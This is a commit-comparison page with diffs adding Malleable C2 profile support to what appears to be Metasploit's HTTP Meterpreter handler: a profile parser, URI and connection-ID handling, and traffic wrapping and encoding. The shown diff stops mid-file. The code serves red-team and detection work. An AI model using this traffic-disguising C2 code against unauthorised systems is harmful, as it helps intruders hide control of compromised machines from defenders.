Compare commits

...

36 Commits

Author SHA1 Message Date
Diego Ledda ca7ba0a20d Merge pull request #20419 from OJ/feature/malleable-c2
Initial support for Malleable C2 Profiles in HTTP Meterpreter
2026-04-01 08:46:50 -04:00
Diego Ledda 166ee2a23d Change MALLEABLEC2 option type to OptPath 2026-03-27 14:44:46 +01:00
Diego Ledda a14b98f7a6 Change MALLEABLEC2 option type to OptPath 2026-03-27 14:43:49 +01:00
OJ Reeves 8df4ff7748 Fix stale C2 profile configuration 2026-03-22 14:20:59 +10:00
OJ Reeves fe77ec9e24 Extract GET/POST TLV builders
Tidies up the to_tlv method into more manageable chunks.
2026-03-22 13:48:26 +10:00
OJ Reeves 2f7ed8a5a9 Fix base_uri mutation
The << operator would mutate the base_uri, corrupting the profile's
stored URI value in cases where add_uri is called more than once. Which
it likely would be!

This dupes the value instead of referencing it.

I hate ruby.
2026-03-22 09:50:18 +10:00
OJ Reeves 2e64231c93 Short-circuit on first match of directives
Faster impl of has_directive
2026-03-22 09:46:55 +10:00
OJ Reeves 2a6ebeae47 Simplify prefix/suffix checks
Clearer checks against suffix/prefixes while also avoiding the edge-case
where suffix.length could be zero, resulting in raw_bytes[-0, length]
behaving unexpectedly.
2026-03-22 09:44:54 +10:00
OJ Reeves e2614898e6 Fix hex escape parasing in C2 profile string handling
The \x sequence only uses 2 hex digits, but the slice was taking 4 by
mistake. It should have been 2 instead.
2026-03-22 09:42:26 +10:00
OJ Reeves 5a28827de4 Fix bug unwrapping bytes in post 2026-03-22 09:35:52 +10:00
OJ Reeves f7b97ba441 Add C2 profile support to win https 2026-03-21 15:22:17 +10:00
Spencer McIntyre dfd2160eef Ensure slashes are where they need to be 2025-10-01 09:52:09 -04:00
Spencer McIntyre 56d6498b41 Switch PROXY_HOST to PROXY_URL which is more accurate
Still not fully accurate though since socks seems to be prefixed with
socks= and not socks://
2025-09-26 17:28:31 -04:00
Spencer McIntyre 7fc34485cd Handle IPv6 addresses in the URL 2025-09-26 15:30:55 -04:00
Spencer McIntyre b2eb7f52cc Fix old payloads 2025-09-23 13:26:06 -04:00
OJ Reeves 8c4f7fa7ad Support escaped double-quote 2025-07-30 18:11:17 +10:00
OJ Reeves 2c4eaff583 Support encoding/decoding of data from C2 profile 2025-07-30 15:02:08 +10:00
OJ Reeves ba5e097b6f Revert previous change to cid extraction 2025-07-30 13:04:22 +10:00
OJ Reeves f93d308b6c Add C2 custom header support in responses 2025-07-29 13:28:20 +10:00
OJ Reeves 1abbb7071f Fixes as per discussion 2025-07-29 12:32:18 +10:00
OJ Reeves f82fe8ee0d Prepends should not be reversed 2025-07-28 14:25:06 +10:00
OJ Reeves 6496e7f012 Re-add the overridden body property in the HTTP packet
I hate this craziness, but I have no idea what I'll break if I don't
leave this in.
2025-07-28 10:59:42 +10:00
OJ Reeves bbdf45a948 Fix transport comment TLV generation/handling 2025-07-28 10:59:28 +10:00
OJ Reeves fa5881eb18 Fix C2 config timeout generation 2025-07-28 10:58:26 +10:00
OJ Reeves 76954a63e9 Push CID finding into reverse_http
Logic for finding connection UUIDs has been pushed into reverse_http so
that it's not part of the Http::Server any more. It's a little bit of a
leaky abstraction, but at least the logic is in the one place now.

Support added and tweaked for including the UUID in an HTTP header or in
a GET param.

Currently don't have support for it in the BODY as as param, not sure if
that's a requirement yet or not.

Same goes for cookies.
2025-07-24 15:21:56 +10:00
OJ Reeves 5def53e34c Change support for connection IDs in the HTTP server
NOTE: This change does remove the trailing "/" from URIs registered..
which implies that things might not match. So more to do here.

Connection IDs are stored in the request now, so that they can be
referenced by clients if and when required.

IDs are pulled from various locations in the request.
2025-07-24 11:22:25 +10:00
OJ Reeves c571e7dc1b Remove query string from POST request body
The `Http::Request` class had an overload for the `body` accessor that
returned the query string parameters in the case that the body was
empty.

This is not only logically bizzarre, but functionally insane. The query
string is not part of the body. If you want the query string, go get it.

An interesting side effect of this craziness, along with the way the
body is constructed, is that if you send a POST request to the server
with a body AND a query string, MSF is kind enough to give you both
together. Crazy right? Well, this is because the class uses the `body`
accessor as an internal buffer, but that getter is overloaded.

So if the `body` is blank, and the `+=` operator is used (which, it is!)
then you end up with the query string being prepended to any actual body
content. Insane.

Also, from an API point of view, it looks just as crazy. Observe:

```
>> r = Rex::Proto::Http::Request::Post.new('/foo?lol=wtf')
=>
...
>> r.body = ''
=> ""
>> r.body
=> "lol=wtf"
```

No. This is a complete violation of logic. This commit removes this
"feature" and not only fixes the bugs that I was fighting against,
but restores some semblance of reason.
2025-07-24 10:59:45 +10:00
OJ Reeves d589da9531 C2 profile persistence and better UUID handling
Interim commit, contains code persists a C2 profile instance for reuse
rather than having many being parsed all the time. Also begins work
handling UUIDs outside of the URI.
2025-07-23 14:05:04 +10:00
OJ Reeves 42b027d829 Small fix for non-c2 profile payloads 2025-07-17 12:13:50 +10:00
OJ Reeves 71d943d835 Small code tidy 2025-07-17 11:37:19 +10:00
OJ Reeves 300d16e7cb Wire in support for C2 profiles in the x64 payload 2025-07-16 14:29:29 +10:00
OJ Reeves 2d7f8b48a1 Tidy and refactor of some C2 code
Includes removal of the referrer and accept types specific TLV values,
because they can be treated like any other header, despite what the MSDN
documentation says about the HTTP APIs.

Moved packet wrapping to somewhere reusable.

Added support for binary-escaped strings in C2 profile values (eg.
"\x00").
2025-07-16 14:27:58 +10:00
OJ Reeves f2d3120772 Add C2 packet support to the stageless transition
Stageless payloads start with an :init_connect which needs special
consideration given that it's just redirected. There's no client
instance at that point, so there's no C2 associated with it, so we have
to just manually wrap the outbound packet so that things work correctly.
2025-07-16 14:25:55 +10:00
OJ Reeves fe7705dea8 Payload wrapping support and more
* Supporting "wrapping" and "unwrapping" of payloads based on the C2
  profile, which means that suffixes and prefixes are used based on what
  the configuration indicates.
* Made sure taht the debug_build flag is passed through on HTTP/S
  payloads.
* push details of the C2 profile into the meterp client so that required
  details can be easily accessed.
2025-07-15 11:57:37 +10:00
OJ Reeves 3ccd8e5b14 "Working" C2 sessions with diff GET/POST uris
Still don't have all the fields implemented, but this at least supports
the notion of having different URIs for GET and POST.

The approach taken, to reduce the impact on how much code has to be
changed, is to extract the UUID for the connection and use that as a
resource identifier. This UUID doesn't have any slashes in it, and hence
will not collide with any URI. This means we can use the UUID as a key
in the same hash as the resource URIs knowing that a direct lookup will
find the right session, even if by some miracle the UUID collides with a
chosen/generated URI. Any URI in the resource list will be prefixed with
a forward slash.

The listener will listen on all URIs that exist for the Meterp
configuration, including LURI setting, and the `uri` values in all three
areas that it might be specified in the C2 profile.
2025-07-10 10:46:27 +10:00
OJ Reeves 5025992eaf First pass of TLV-based configuration and MC2
Munged a few commits into this one. But we have basic support for
TLV-based configuration blocks instead of hard-coded block sizes.
Initial support for the MC2 stuff is in as well, but more to come.
2025-07-07 13:27:03 +10:00
20 changed files with 912 additions and 237 deletions
+102 -34
View File
@@ -70,8 +70,7 @@ module ReverseHttp
OptString.new('HttpUserAgent',
'The user-agent that the payload should use for communication',
default: Rex::UserAgent.random,
aliases: ['MeterpreterUserAgent'],
max_length: Rex::Payloads::Meterpreter::Config::UA_SIZE - 1
aliases: ['MeterpreterUserAgent']
),
OptString.new('HttpServerName',
'The server header that the handler will send in response to requests',
@@ -180,28 +179,50 @@ module ReverseHttp
(ssl?) ? 'https' : 'http'
end
def construct_luri(base_uri)
return nil unless base_uri
u = base_uri.dup
while u[-1] == '/'
u.chop!
end
u
end
# The local URI for the handler.
#
# @return [String] Representation of the URI to listen on.
def luri
l = datastore['LURI'] || ""
construct_luri(datastore['LURI'] || '')
end
if l && l.length > 0
# strip trailing slashes
while l[-1, 1] == '/'
l = l[0...-1]
end
# make sure the luri has the prefix
if l[0, 1] != '/'
l = "/#{l}"
end
def all_uris
all = ["#{luri}/"]
if self.c2_profile
uris = self.c2_profile.uris.map {|u| construct_luri(u)}
all.push(*uris)
end
l.dup
all.uniq
end
def c2_profile
# Only use a C2 profile if the payload explicitly registered the option.
# This prevents staged payloads from inheriting a stale MALLEABLEC2
# value from a prior stageless payload configuration.
return nil unless self.options.include?('MALLEABLEC2')
profile_path = datastore['MALLEABLEC2'] || ''
return nil if profile_path.empty?
parser = Msf::Payload::MalleableC2::Parser.new
parser.parse(profile_path)
end
# Create an HTTP listener
#
# @return [void]
@@ -239,11 +260,15 @@ module ReverseHttp
self.service.server_name = datastore['HttpServerName']
# Add the new resource
service.add_resource((luri + "/").gsub("//", "/"),
'Proc' => Proc.new { |cli, req|
on_request(cli, req)
},
'VirtualDirectory' => true)
all_uris.each {|u|
#r = (u + "/").gsub("//", "/")
r = u.gsub("//", "/")
service.add_resource(r,
'Proc' => Proc.new { |cli, req|
on_request(cli, req)
},
'VirtualDirectory' => true)
}
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri(local_addr)}")
lookup_proxy_settings
@@ -253,13 +278,47 @@ module ReverseHttp
end
end
def find_resource_id(cli, request)
if request.method == 'POST'
directive = self.c2_profile&.http_post&.client&.id&.parameter
cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0
unless cid
directive = self.c2_profile&.http_post&.client&.id&.header
cid = request.headers[directive[0].args[0]] if directive && directive.length > 0
end
else
directive = self.c2_profile&.http_get&.client&.metadata&.parameter
cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0
unless cid
directive = self.c2_profile&.http_get&.client&.metadata&.header
cid = request.headers[directive[0].args[0]] if directive && directive.length > 0
end
end
request.conn_id = cid || request.resource.split('?')[0].split('/').compact.last
end
def add_response_headers(req, resp)
if req.method == 'GET'
headers = self.c2_profile&.http_get&.server&.header || []
headers.each {|h| resp[h.args[0]] = h.args[1]}
elsif req.method == 'POST'
headers = self.c2_profile&.http_post&.server&.header || []
headers.each {|h| resp[h.args[0]] = h.args[1]}
end
end
#
# Removes the / handler, possibly stopping the service if no sessions are
# active on sub-urls.
#
def stop_handler
if self.service
self.service.remove_resource((luri + "/").gsub("//", "/"))
all_uris.each {|u|
#r = (u + "/").gsub("//", "/")
r = u.gsub("//", "/")
self.service.remove_resource(r)
}
self.service.deref
self.service = nil
end
@@ -314,23 +373,27 @@ protected
def on_request(cli, req)
Thread.current[:cli] = cli
resp = Rex::Proto::Http::Response.new
info = process_uri_resource(req.relative_resource)
uuid = info[:uuid]
req.conn_id = find_resource_id(cli, req) unless req.conn_id
if req.conn_id
info = process_uri_resource(req.conn_id)
uuid = info[:uuid]
conn_id = req.conn_id
end
if uuid
# Configure the UUID architecture and payload if necessary
uuid.arch ||= self.arch
uuid.platform ||= self.platform
conn_id = luri
request_summary = "#{luri} with UA '#{req.headers['User-Agent']}'"
if info[:mode] && info[:mode] != :connect
conn_id << generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
else
conn_id << req.relative_resource
conn_id = conn_id.chomp('/')
conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
end
request_summary = "#{conn_id} with UA '#{req.headers['User-Agent']}'"
conn_id.chomp!('/')
# Validate known UUIDs for all requests if IgnoreUnknownPayloads is set
if framework.db.active
@@ -368,16 +431,17 @@ protected
# Process the requested resource.
case info[:mode]
when :init_connect
print_status("Redirecting stageless connection from #{request_summary}")
print_status("Redirecting stageless connection from #{request_summary} to #{conn_id}")
# Handle the case where stageless payloads call in on the same URI when they
# first connect. From there, we tell them to callback on a connect URI that
# was generated on the fly. This means we form a new session for each.
# Hurl a TLV back at the caller, and ignore the response
pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, Rex::Post::Meterpreter::COMMAND_ID_CORE_PATCH_URL)
pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/")
pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, Rex::Post::Meterpreter::COMMAND_ID_CORE_PATCH_UUID)
pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_C2_UUID, conn_id.gsub(/\//, ''))
resp.body = pkt.to_r
resp.body = self.c2_profile.wrap_outbound_get(resp.body) if self.c2_profile
when :init_python, :init_native, :init_java, :connect
# TODO: at some point we may normalise these three cases into just :init
@@ -386,6 +450,7 @@ protected
print_status("Attaching orphaned/stageless session...")
else
begin
# TODO: do we need to handle C2 profiles here?
blob = self.generate_stage(url: url, uuid: uuid, uri: conn_id)
blob = encode_stage(blob) if self.respond_to?(:encode_stage)
# remove this when we make http payloads prepend stage sizes by default
@@ -406,7 +471,7 @@ protected
end
end
create_session(cli, {
session_opts = {
:passive_dispatcher => self.service,
:dispatch_ext => [Rex::Post::Meterpreter::HttpPacketDispatcher],
:conn_id => conn_id,
@@ -416,9 +481,12 @@ protected
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ssl => ssl?,
:payload_uuid => uuid
})
:payload_uuid => uuid,
:c2_profile => self.c2_profile,
:debug_build => datastore['MeterpreterDebugBuild'] || false,
}
create_session(cli, session_opts)
else
unless [:unknown, :unknown_uuid, :unknown_uuid_url].include?(info[:mode])
print_status("Unknown request to #{request_summary}")
-2
View File
@@ -85,11 +85,9 @@ module Msf
),
OptString.new('HttpProxyUser', 'An optional proxy server username',
aliases: ['PayloadProxyUser'],
max_length: Rex::Payloads::Meterpreter::Config::PROXY_USER_SIZE - 1
),
OptString.new('HttpProxyPass', 'An optional proxy server password',
aliases: ['PayloadProxyPass'],
max_length: Rex::Payloads::Meterpreter::Config::PROXY_PASS_SIZE - 1
),
OptEnum.new('HttpProxyType', 'The type of HTTP proxy',
enums: ['HTTP', 'SOCKS'],
+500
View File
@@ -0,0 +1,500 @@
# -*- coding: binary -*-
##
# This module contains helper functions for parsing and loading malleable
# C2 profiles into ruby objects.
#
# See https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm
##
require 'strscan'
require 'rex/post/meterpreter/packet'
module Msf::Payload::MalleableC2
MET = Rex::Post::Meterpreter
MC2 = Msf::Payload::MalleableC2
# Handle escape sequences in the strings provided by the c2 profile
def self.from_c2_string_value(s)
# Support substitution of a subset of escape characters:
# \r, \t, \n, \\, \x.., \"
# Not supporting \u at this point.
# We do in a single regex and parse each as we go, as this avoids the
# potential for double-encoding.
s.gsub(/\\(x(..)|r|n|t|"|\\)/) {|b|
case b[1]
when 'x'
[b[2, 2].to_i(16)].pack('C')
when 'r'
"\r"
when 't'
"\t"
when 'n'
"\n"
when '"'
'"'
when '\\'
"\\"
end
}
end
class Token
attr_reader :type, :value
def initialize(type, value)
@type = type
@value = value
end
end
class Lexer
attr_reader :tokens
BLOCK_KEYWORDS = %w[
client
http-get
http-post
http-stager
https-certificate
id
metadata
output
server
stage
transform-x64
transform-x86
]
OTHER_KEYWORDS = %w[
add
append
base64
base64url
dns
encode_hex
header
hostport
mask
netbios
netbiosu
parameter
prepend
print
remove
set
string
stringw
strrep
transform
unset
uri
uri-append
uri-query
xor
]
def initialize(file)
@tokens = []
tokenize(File.binread(file))
end
def is_block_keyword?(word)
BLOCK_KEYWORDS.include?(word)
end
private
def tokenize(text)
scanner = StringScanner.new(text)
until scanner.eos?
if scanner.scan(/\s+/)
# blank line
next
elsif scanner.scan(/^\s*#.*$/)
# comment
next
elsif scanner.scan(/\"(\\.|[^"])*\"/)
@tokens << Token.new(:string, scanner.matched[1..-2])
elsif scanner.scan(/[a-zA-Z0-9_\-\.\/]+/)
word = scanner.matched
type = BLOCK_KEYWORDS.union(OTHER_KEYWORDS).include?(word) ? :keyword : :identifier
@tokens << Token.new(type, word)
elsif scanner.scan(/[{};]/)
@tokens << Token.new(:symbol, scanner.matched)
else
preceding_lines = scanner.string[0..scanner.pos].split("\n")
row = preceding_lines.length
col = preceding_lines.last&.size || 1
raise "Unexpected token near #{row}:#{col}: #{scanner.peek(20).split("\n").first}"
end
end
end
end
class ParsedProfile
attr_accessor :sets, :sections
def initialize
@sets = []
@sections = []
end
def method_missing(name, *args)
name = name.to_s.gsub('_', '-')
get_section(name) || get_set(name)
end
def get_set(key)
val = @sets.find {|s| s.key == key.downcase}&.value
if block_given? && !val.nil?
yield(val)
end
val
end
def get_section(name)
sec = @sections.find {|s| s.name == name.downcase}
if block_given? && !sec.nil?
yield(sec)
end
sec
end
def uris
base_uri = self.get_set('uri')
get_uri = nil
post_uri = nil
self.get_section('http-get') {|http_get|
get_uri = http_get.get_set('uri')
}
self.get_section('http-post') {|http_post|
post_uri = http_post.get_set('uri')
}
[base_uri, get_uri, post_uri].compact
end
def wrap_outbound_get(raw_bytes)
prepends = self.http_get&.server&.output&.prepend || []
prefix = prepends.map {|p| p.args[0]}.join('')
appends = self.http_get&.server&.output&.append || []
suffix = appends.map {|p| p.args[0]}.join('')
# do any encoding necessary
if raw_bytes.length > 0
if self.http_get&.server&.output&.has_directive('base64')
raw_bytes = Rex::Text.encode_base64(raw_bytes)
elsif self.http_get&.server&.output&.has_directive('base64url')
raw_bytes = Rex::Text.encode_base64url(raw_bytes)
end
end
result = prefix + raw_bytes + suffix
result
end
def unwrap_inbound_post(raw_bytes)
prepends = self.http_post&.client&.output&.prepend || []
prefix = prepends.map {|p| p.args[0]}.join('')
if !prefix.empty? && raw_bytes.start_with?(prefix)
raw_bytes = raw_bytes[prefix.length, raw_bytes.length]
end
appends = self.http_post&.client&.output&.append || []
suffix = appends.map {|p| p.args[0]}.join('')
if !suffix.empty? && raw_bytes.end_with?(suffix)
raw_bytes = raw_bytes[0, raw_bytes.length - suffix.length]
end
# do any decoding necessary
if raw_bytes.length > 0
if self.http_post&.client&.output&.has_directive('base64')
raw_bytes = Rex::Text.decode_base64(raw_bytes)
elsif self.http_post&.client&.output&.has_directive('base64url')
raw_bytes = Rex::Text.decode_base64url(raw_bytes)
end
end
raw_bytes
end
def to_tlv
tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2)
self.get_set('useragent') {|ua| tlv.add_tlv(MET::TLV_TYPE_C2_UA, ua)}
c2_uri = self.get_set('uri')
self.get_section('http-get') {|http_get|
tlv.tlvs << build_get_tlv(http_get, c2_uri)
}
self.get_section('http-post') {|http_post|
tlv.tlvs << build_post_tlv(http_post, c2_uri)
}
tlv
end
private
def build_get_tlv(http_get, c2_uri)
get_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2_GET)
get_uri = http_get.get_set('uri') || c2_uri
http_get.get_section('client') {|client|
self.add_http_tlv(get_uri, client, get_tlv)
add_skip_tlvs(get_tlv, self.http_get&.server&.output)
client.get_section('metadata') {|meta|
add_encoding_tlv(get_tlv, meta)
add_uuid_tlvs(get_tlv, meta)
}
}
get_tlv
end
def build_post_tlv(http_post, c2_uri)
post_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2_POST)
post_uri = http_post.get_set('uri') || c2_uri
http_post.get_section('client') {|client|
self.add_http_tlv(post_uri, client, post_tlv)
add_skip_tlvs(post_tlv, self.http_post&.server&.output)
client.get_section('output') {|client_output|
add_encoding_tlv(post_tlv, client_output)
prepend_data = client_output.get_directive('prepend').map{|d|d.args[0]}.join("")
post_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX, prepend_data) unless prepend_data.empty?
append_data = client_output.get_directive('append').map{|d|d.args[0]}.join("")
post_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX, append_data) unless append_data.empty?
}
client.get_section('id') {|client_id|
add_uuid_tlvs(post_tlv, client_id)
}
}
post_tlv
end
def add_skip_tlvs(group_tlv, server_output)
prepends = server_output&.prepend || []
prefix_len = prepends.map {|p| p.args[0].length}.sum
group_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX_SKIP, prefix_len) unless prefix_len == 0
appends = server_output&.append || []
suffix_len = appends.map {|s| s.args[0].length}.sum
group_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX_SKIP, suffix_len) unless suffix_len == 0
end
def add_encoding_tlv(group_tlv, section)
enc_flags = MET::C2_ENCODING_NONE
enc_flags = MET::C2_ENCODING_B64URL if section.has_directive('base64url')
enc_flags = MET::C2_ENCODING_B64 if section.has_directive('base64')
group_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != MET::C2_ENCODING_NONE
end
def add_uuid_tlvs(group_tlv, section)
group_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, section.get_directive('parameter')[0].args[0]) if section.has_directive('parameter')
group_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, section.get_directive('header')[0].args[0]) if section.has_directive('header')
end
def add_http_tlv(base_uri, section, group_tlv)
section.get_set('useragent') {|v| group_tlv.add_tlv(MET::TLV_TYPE_C2_UA, v)}
self.add_uri(base_uri, section, group_tlv)
self.add_header(section, group_tlv)
end
def add_header(section, group_tlv)
headers = section.get_directive('header').map {|dir| "#{dir.args[0]}: #{dir.args[1]}"}.join("\r\n")
group_tlv.add_tlv(MET::TLV_TYPE_C2_HEADERS, headers) unless headers.empty?
headers
end
def add_uri(base_uri, section, group_tlv)
uri = (base_uri || "").dup
query_string = section.get_directive('parameter').map {|dir| "#{dir.args[0]}=#{URI.encode_uri_component(dir.args[1])}" }.join("&")
unless query_string.empty?
uri << "?"
uri << query_string
end
group_tlv.add_tlv(MET::TLV_TYPE_C2_URI, uri) unless uri.empty?
uri
end
end
class ParsedSet
attr_accessor :key, :value
def initialize(key, value)
@key = key.downcase
@value = MC2.from_c2_string_value(value)
end
end
class ParsedSection
attr_accessor :name, :entries, :sections
def initialize(name)
@name = name.downcase
@entries = []
@sections = []
end
def method_missing(name, *args)
name = name.to_s.gsub('_', '-')
get_section(name) || get_directive(name) || get_set(name)
end
def get_set(key)
val = @entries.find {|s| s.kind_of?(ParsedSet) && s.key == key.downcase}&.value
if block_given? && !val.nil?
yield(val)
end
val
end
def get_directive(type)
# there can be multiple instances of the same directive type so we have
# to return an array instead of a single instance
@entries.find_all {|d| d.kind_of?(ParsedDirective) && d.type == type.downcase}
end
def has_directive(type)
@entries.any? {|d| d.kind_of?(ParsedDirective) && d.type == type.downcase}
end
def get_section(name)
sec = @sections.find {|s| s.name == name.downcase}
if block_given? && !sec.nil?
yield(sec)
end
sec
end
end
class ParsedDirective
attr_accessor :type, :args
def initialize(type, args)
@type = type.downcase
@args = args.map {|a| MC2.from_c2_string_value(a)}
end
end
class Parser
attr_reader :lexer
def initialize
@lexer = nil
end
def parse(file)
@lexer = Lexer.new(file)
@index = 0
profile = ParsedProfile.new
while current_token
if match_keyword('set')
profile.sets << parse_set
elsif current_token.type == :keyword && @lexer.is_block_keyword?(current_token.value)
profile.sections << parse_section
else
raise "Unexpected token at top level: #{current_token.type}=#{current_token.value}"
end
end
#@lexer = nil
profile
end
def parse_set
expect_keyword('set')
key = expect([:identifier, :keyword]).value
value = expect(:string).value
expect_symbol(';')
ParsedSet.new(key, value)
end
def parse_section
name = expect(:keyword).value
expect_symbol('{')
section = ParsedSection.new(name)
while !match_symbol('}') && current_token
if match_keyword('set')
section.entries << parse_set
elsif current_token.type == :keyword
if @lexer.is_block_keyword?(current_token.value)
section.sections << parse_section
else
section.entries << parse_directive
end
else
raise "Unexpected content in block #{name}: #{current_token.value}"
end
end
expect_symbol('}')
section
end
def parse_directive
type = expect(:keyword).value
args = []
while current_token && !match_symbol(';')
if [:string, :identifier, :keyword].include?(current_token.type)
args << current_token.value
next_token
else
break
end
end
expect_symbol(';')
ParsedDirective.new(type, args)
end
def current_token
@lexer.tokens[@index]
end
def next_token
@index += 1
current_token
end
def expect(types)
token = current_token
types = [types] unless types.kind_of?(Array)
raise "Expected #{types.inspect}, got #{token&.type}=#{token&.value}" unless token && types.include?(token.type)
next_token
token
end
def expect_keyword(word)
token = current_token
raise "Expected keyword '#{word}', got #{token&.value}" unless token && token.type == :keyword && token.value == word
next_token
token
end
def expect_symbol(symbol)
token = current_token
raise "Expected symbol '#{symbol}', got #{token&.value}" unless token && token.type == :symbol && token.value == symbol
next_token
token
end
def match_keyword(word)
token = current_token
token && token.type == :keyword && token.value == word
end
def match_symbol(symbol)
token = current_token
token && token.type == :symbol && token.value == symbol
end
end
end
+1
View File
@@ -96,6 +96,7 @@ module Msf::Payload::TransportConfig
host: ds['HttpHostHeader'],
cookie: ds['HttpCookie'],
referer: ds['HttpReferer'],
c2_profile: opts[:c2_profile],
custom_headers: get_custom_headers(ds)
}.merge(timeout_config(opts))
end
+62 -93
View File
@@ -1,18 +1,16 @@
# -*- coding: binary -*-
require 'rex/socket/x509_certificate'
require 'rex/post/meterpreter/extension_mapper'
require 'rex/post/meterpreter/packet'
require 'msf/core/payload/malleable_c2'
require 'securerandom'
class Rex::Payloads::Meterpreter::Config
include Msf::Payload::UUID::Options
include Msf::ReflectiveDLLLoader
URL_SIZE = 512
UA_SIZE = 256
PROXY_HOST_SIZE = 128
PROXY_USER_SIZE = 64
PROXY_PASS_SIZE = 64
CERT_HASH_SIZE = 20
LOG_PATH_SIZE = 260 # https://docs.microsoft.com/en-us/windows/win32/fileio/maximum-file-path-limitation?tabs=cmd
MET = Rex::Post::Meterpreter
def initialize(opts={})
@opts = opts
@@ -49,7 +47,7 @@ private
item.to_s.ljust(size, "\x00")
end
def session_block(opts)
def add_session_tlv(tlv, opts)
uuid = opts[:uuid].to_raw
exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]]
@@ -60,23 +58,18 @@ private
else
session_guid = [SecureRandom.uuid.gsub('-', '')].pack('H*')
end
session_data = [
0, # comms socket, patched in by the stager
exit_func, # exit function identifier
opts[:expiration], # Session expiry
uuid, # the UUID
session_guid, # the Session GUID
]
pack_string = 'QVVA*A*'
if opts[:debug_build]
session_data << to_str(opts[:log_path] || '', LOG_PATH_SIZE) # Path to log file on remote target
pack_string << 'A*'
end
session_data.pack(pack_string)
tlv.add_tlv(MET::TLV_TYPE_EXITFUNC, exit_func)
tlv.add_tlv(MET::TLV_TYPE_SESSION_EXPIRY, opts[:expiration])
tlv.add_tlv(MET::TLV_TYPE_UUID, uuid)
tlv.add_tlv(MET::TLV_TYPE_SESSION_GUID, session_guid)
if opts[:debug_build] && opts[:log_path]
tlv.add_tlv(MET::TLV_TYPE_DEBUG_LOG, opts[:log_path])
end
end
def transport_block(opts)
def add_c2_tlv(tlv, opts)
# Build the URL from the given parameters, and pad it out to the
# correct size
lhost = opts[:lhost]
@@ -84,112 +77,88 @@ private
lhost = "[#{lhost}]"
end
url = "#{opts[:scheme]}://#{lhost}"
url << ":#{opts[:lport]}" if opts[:lport]
url << "#{opts[:uri]}/" if opts[:uri]
unless (opts[:c2_profile] || '').empty?
parser = Msf::Payload::MalleableC2::Parser.new
profile = parser.parse(opts[:c2_profile])
c2_tlv = profile.to_tlv
else
c2_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2)
c2_tlv.add_tlv(MET::TLV_TYPE_C2_UA, opts[:ua]) unless (opts[:ua] || '').empty?
end
c2_tlv.add_tlv(MET::TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout])
c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total])
c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait])
url = "#{opts[:scheme]}://#{Rex::Socket.to_authority(lhost, opts[:lport])}"
url << "/#{opts[:uri].delete_prefix('/').delete_suffix('/')}/" if opts[:uri]
url << "?#{opts[:scope_id]}" if opts[:scope_id]
# if the transport URI is for a HTTP payload we need to add a stack
# of other stuff
pack = 'A*VVV'
transport_data = [
to_str(url, URL_SIZE), # transport URL
opts[:comm_timeout], # communications timeout
opts[:retry_total], # retry total time
opts[:retry_wait] # retry wait time
]
c2_tlv.add_tlv(MET::TLV_TYPE_C2_URL, url)
# if the transport URI is for a HTTP payload we need to add a stack
# of other stuff that can only be set in MSF, not in the C2 profile
if url.start_with?('http')
proxy_host = ''
proxy_url = ''
if opts[:proxy_host] && opts[:proxy_port]
prefix = 'http://'
prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks'
proxy_host = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
proxy_url = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
end
proxy_host = to_str(proxy_host || '', PROXY_HOST_SIZE)
proxy_user = to_str(opts[:proxy_user] || '', PROXY_USER_SIZE)
proxy_pass = to_str(opts[:proxy_pass] || '', PROXY_PASS_SIZE)
ua = to_str(opts[:ua] || '', UA_SIZE)
cert_hash = "\x00" * CERT_HASH_SIZE
cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash]
c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_URL, proxy_url) unless (proxy_url || '').empty?
c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_USER, opts[:proxy_user]) unless (opts[:proxy_user] || '').empty?
c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass]) unless (opts[:proxy_pass] || '').empty?
custom_headers = opts[:custom_headers] || ''
custom_headers = to_str(custom_headers, custom_headers.length + 1)
# add the HTTP specific stuff
transport_data << proxy_host # Proxy host name
transport_data << proxy_user # Proxy user name
transport_data << proxy_pass # Proxy password
transport_data << ua # HTTP user agent
transport_data << cert_hash # SSL cert hash for verification
transport_data << custom_headers # any custom headers that the client needs
# update the packing spec
pack << 'A*A*A*A*A*A*'
c2_tlv.add_tlv(MET::TLV_TYPE_C2_CERT_HASH, opts[:ssl_cert_hash]) unless (opts[:ssl_cert_hash] || '').empty?
c2_tlv.add_tlv(MET::TLV_TYPE_C2_HEADER, opts[:custom_headers]) unless (opts[:custom_headers] || '').empty?
end
# return the packed transport information
transport_data.pack(pack)
tlv.tlvs << c2_tlv
end
def extension_block(ext_name, file_extension, debug_build: false)
